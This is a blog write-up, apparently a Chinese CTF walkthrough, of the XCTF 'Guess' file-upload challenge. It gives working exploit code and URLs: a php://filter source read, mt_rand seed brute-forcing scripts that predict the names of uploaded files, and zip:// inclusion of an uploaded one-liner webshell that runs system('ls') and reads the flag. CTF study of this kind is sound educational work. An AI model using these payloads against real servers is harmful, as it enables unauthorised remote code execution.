文件上传漏洞

XCTF体验题库 : Guess

【原理】文件上传漏洞
【目的】了解使用zip协议
【目标url】http://111.198.29.45:31219/(xctf环境可能已下线)

0x00 首先分析一下,随便上传一张jpg图片上传,跳转到 http://111.198.29.45:31219/?page=upload想到文件包含漏洞,尝试用php://filter伪协议去读源码

http://111.198.29.45:31219/?page=php://filter/read=convert.base64-encode/resource=upload这里注意.php是自动补的,不需要写。

0x01 Base64 decode解密

<?php
error_reporting(0);
function show_error_message($message)
{
    die("<div class=\"msg error\" id=\"message\">
    <i class=\"fa fa-exclamation-triangle\"></i>$message</div>");
}

function show_message($message)
{
    echo("<div class=\"msg success\" id=\"message\">
    <i class=\"fa fa-exclamation-triangle\"></i>$message</div>");
}

function random_str($length = "32")//上传的文件被重命名
{
    $set = array("a", "A", "b", "B", "c", "C", "d", "D", "e", "E", "f", "F",
        "g", "G", "h", "H", "i", "I", "j", "J", "k", "K", "l", "L",
        "m", "M", "n", "N", "o", "O", "p", "P", "q", "Q", "r", "R",
        "s", "S", "t", "T", "u", "U", "v", "V", "w", "W", "x", "X",
        "y", "Y", "z", "Z", "1", "2", "3", "4", "5", "6", "7", "8", "9");
    $str = '';

    for ($i = 1; $i <= $length; ++$i) {
        $ch = mt_rand(0, count($set) - 1);
        $str .= $set[$ch];
    }

    return $str;
}

session_start();



$reg='/gif|jpg|jpeg|png/';
if (isset($_POST['submit'])) {

    $seed = rand(0,999999999);// 生成随机数做种子
    mt_srand($seed);// 用seed给随机数发生器播种
    $ss = mt_rand();// 取随机数
    $hash = md5(session_id() . $ss);//Burp改包Cookie: PHPSESSID=0
    setcookie('SESSI0N', $hash, time() + 3600);
//可以看见,在mt_srand()播种之后执行了第一次mt_rand(),而且变量$hash的值是可见的。
//但$hash的值是session_id()的返回值与种子拼接后再 MD5 的结果。
    if ($_FILES["file"]["error"] > 0) {
        show_error_message("Upload ERROR. Return Code: " . $_FILES["file-upload-field"]["error"]);
    }
    $check2 = ((($_FILES["file-upload-field"]["type"] == "image/gif")    
            || ($_FILES["file-upload-field"]["type"] == "image/jpeg")
            || ($_FILES["file-upload-field"]["type"] == "image/pjpeg")
            || ($_FILES["file-upload-field"]["type"] == "image/png"))
        && ($_FILES["file-upload-field"]["size"] < 204800));
    $check3=!preg_match($reg,pathinfo($_FILES['file-upload-field']['name'], PATHINFO_EXTENSION));


    if ($check3) show_error_message("Nope!");
    if ($check2) {   
        $filename = './uP1O4Ds/' . random_str() . '_' . $_FILES['file-upload-field']['name'];
        if (move_uploaded_file($_FILES['file-upload-field']['tmp_name'], $filename)) {
            show_message("Upload successfully. File type:" . $_FILES["file-upload-field"]["type"]);
        } else show_error_message("Something wrong with the upload...");
    } else {
        show_error_message("only allow gif/jpeg/png files smaller than 200kb!");
    }
}
?>

函数mt_rand()在种子相同的时候,给出的随机数序列是一样的,所以只要知道了种子,该函数的随机数便可以预测。
这样子上传路径就知道了

0x02 将含有一句话的php压缩成zip(我一直压成rar了貌似应该也行),重命名成jpg, 上传得到。

重点在文件名,文件名是随机生成的。
审计代码上传的文件名被改了嘛,爆一爆先是 mt_srand(rand(0, 999999999)) 设置个 seed, 然后返回第一个 mt_rand() ,使用 php_mt_seed 爆破种子。
mt_srand() 的 seed 和输出序列是对应的,根据第一个 mt_rand() 爆出 seed, 就可以知道文件名,进行包含了。

菜刀连接http://111.198.29.45:31219/?page=zip://./uP1O4Ds/xxx.jpg%231.php
无论是rand()函数还是mt_rand()函数,当随机数种子相同的时候,无论运行多少次,产生的随机数序列都是一样的,大牛已经用c写了一个爆破种子程序

0x03 php_mt_seed,emmm这里采用的3.4推荐4.0见后面(这步可大致瞅瞅)

http://www.openwall.com/php_mt_seed/
首先我们下好.tar.gz
sudo tar -zxvf php_mt_seed-3.4.tar.gz -C ../ctf(解压到ctf文件夹里)
进入ctf先make(c的就是这样),出来个php_mt_seed
可以先写个PHP看一下本机的mt_rand()
php -r ‘echo mt_rand().”\n”;’ //echo输出php自动播种种子,自动生成随机数(1416....)
在这里插入图片描述
./php_mt_seed 1416259324 //用php_mt_seed工具把产生的随机数作为参数去爆破
种子(1349365831)
在这里插入图片描述
是 php manual 中说,自动播种种子是指:在每次调用 mt_rand()函数之前都播种一次种子呢,还是多次调用 mt_rand()函数之前,只播种一次种子呢,这对于我们能否猜到产生的随机数序列至关重要.
在这里插入图片描述

0x04 再实践

在测试中,在没有进行手工播种的情况下产生两个连续的随机数,然后去爆破种子,得到了三个可能种子,经过测试发现其中一个种子产生的随机数序列和预期的相同,所以可以猜想在php中产生一系列的随机数时,只进行了一次播种!想了解到更多
php的随机数的安全性分析

test.php

<?php  
ini_set('max_execution_time', '0');
	$std = "4b7a77dc528575247da8e4d51f9a8d2f";  // cookie 中的 SESSION
    for($i=0;$i<=999999999;$i++) {
        $ha = md5("0" . $i);  //设为0而不是空
        if($ha === $std) {
            echo "Success-----------=>" . $i;
            // 爆出随机数为 i
            break;
        }
        if($i % 100000000 == 0) echo $i . "\n";
    }
?>

222.php

<?php
$arr = array(2317092339,2686457404,3610056016,3610056017);  //爆出来的种子把上图的数值填进去
foreach($arr as $a) {
    mt_srand($a);
    $set = array("a", "A", "b", "B", "c", "C", "d", "D", "e", "E", "f", "F",
                 "g", "G", "h", "H", "i", "I", "j", "J", "k", "K", "l", "L",
                 "m", "M", "n", "N", "o", "O", "p", "P", "q", "Q", "r", "R",
                 "s", "S", "t", "T", "u", "U", "v", "V", "w", "W", "x", "X",
                 "y", "Y", "z", "Z", "1", "2", "3", "4", "5", "6", "7", "8", "9");
    $str = '';
    $ss = mt_rand(); //与服务器的随机数对应
    for ($i = 1; $i <= 32; ++$i) {
        $ch = mt_rand(0, count($set) - 1);
        $str .= $set[$ch];
    }

    // echo 'zip://uP1O4Ds/' . $str . '_test.png%23test&a=phpinfo();' . "<br>";
    echo 'http://111.198.29.45:57784/?page=phar://uP1O4Ds/' . $str . '_test.png/test' . <br>;
}
?>

得到路径
在这里插入图片描述
http://111.198.29.45:57784/?page=zip://uP1O4Ds/v4dV3rcjpbV8hdjiyVmlwKomjEe8UeFq_test.png%23test/test&a=phpinfo();
http://111.198.29.45:57784/?page=zip://uP1O4Ds/v4dV3rcjpbV8hdjiyVmlwKomjEe8UeFq_test.png%23test/test&a=echo system('ls');
http://111.198.29.45:57784/?page=zip://uP1O4Ds/v4dV3rcjpbV8hdjiyVmlwKomjEe8UeFq_test.png%23test/test&a=echo system('cat ./flag-Edi98vJF8hnIp.txt');

zip 伪协议配合文件包含
某些情况下,环境中存在文件包含漏洞并且可以上传文件,但是只限 jpg 文件。
这时候可以用 zip 协议,用法如下:
zip://path/archive.zip#dir/file.txt
这个 zip 文件不一定要以.zip为后缀,只要该文件有 zip 正常的文件结构即可。
比如我要上传一个shell.php,可以先添加进压缩包pack.zip中,然后重命名为pack.jpg。
这时候上传这个 jpg 文件,然后使用如 zip 伪协议进行包含:
zip://pack.jpg#shell.php

posted @ 2019-12-01 16:33  谷神的飞翔  阅读(1060)  评论(0编辑  收藏  举报